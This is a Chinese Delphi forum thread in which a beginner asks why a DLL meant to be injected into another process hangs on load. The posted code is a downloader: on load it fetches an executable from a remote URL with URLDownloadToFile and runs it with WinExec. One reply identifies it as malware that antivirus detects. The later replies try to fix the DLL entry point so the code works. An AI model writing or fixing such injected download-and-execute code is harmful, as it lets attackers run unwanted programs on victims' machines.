关于一个dll插入进程问题 ( 积分: 30 )

  • 主题发起人 主题发起人 kylinshine
  • 开始时间 开始时间
K

kylinshine

Unregistered / Unconfirmed
GUEST, unregistred user!
我写了一个简单的DownTest.dll,是下载一个计算器,下面是DownTest代码,发现在插入到测试程序时候都好象假死一样,即使我不插入只是简单的loadlibrary都出现假死,(ps:我只写了一句就是loadlibrary('downtest.dll'),而且DownTest没有起作用.请问我的Downtest写的有问题吗~~~&nbsp;还是在loadlibrary过程有问题,小弟才入门学习windows下编程,对dll这些东西也是最近需要才临时看书的.<br>_________________________________________________________________________<br>library&nbsp;DownTest;<br>uses<br>&nbsp;&nbsp;SysUtils,<br>&nbsp;&nbsp;System,<br>&nbsp;&nbsp;windows,<br>&nbsp;&nbsp;Urlmon,<br>&nbsp;&nbsp;Classes;<br><br>procedure&nbsp;DllEntryPoint;<br>&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URLDownloadToFile(nil,&nbsp;'http://www.sina.com/calc.exe',&nbsp;'C:/Documents&nbsp;and&nbsp;Settings/mu10.exe',&nbsp;0,&nbsp;nil);//http://www.sina.com/calc.exe&nbsp;这个地址我改了,自己测试时候地址是对的~~<br>WinExec('C:/Documents&nbsp;and&nbsp;Settings/mu10.exe',&nbsp;SW_SHOW);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br>begin<br>&nbsp;DllEntryPoint;<br>end.<br>_________________________________________________________________________<br>分不多&nbsp;请高手指教
 
十一期间放假了,难道大家都不上大富翁了?
 
这是一个最简单的下载者,杀毒软件会杀了的。用Exports输入函数,还得用GetProcAddress加载函数。
 
大哥我问为什么会不成功&nbsp;你说这是个简单的下载者&nbsp;大家都看不出来吗?&nbsp;要你说~你说杀毒软件会杀~~&nbsp;那我题目不如叫怎么防止程序被杀?&nbsp;晕倒~~~<br>会就会&nbsp;不会就不会&nbsp;说那么多不实际的话干什么啊
 
你的dll入口点函数不对,应该是下面的样子<br>procedure&nbsp;DllMain(Attachflag:Dword);<br>begin<br>case&nbsp;Attachflag&nbsp;of<br>&nbsp;&nbsp;DLL_PROCESS_ATTACH:begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//代码写到这<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br>end;<br>end;<br>begin<br>dllproc:=&nbsp;@dllmain;<br>dllmain(DLL_PROCESS_ATTACH);<br>end.
 
不对,delphi改了入口点,begin&nbsp;end&nbsp;块就是入口点,那样写是对的!!!<br>应该是调用的函数的问题
 
按evil.eagle说的作&nbsp;试下
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部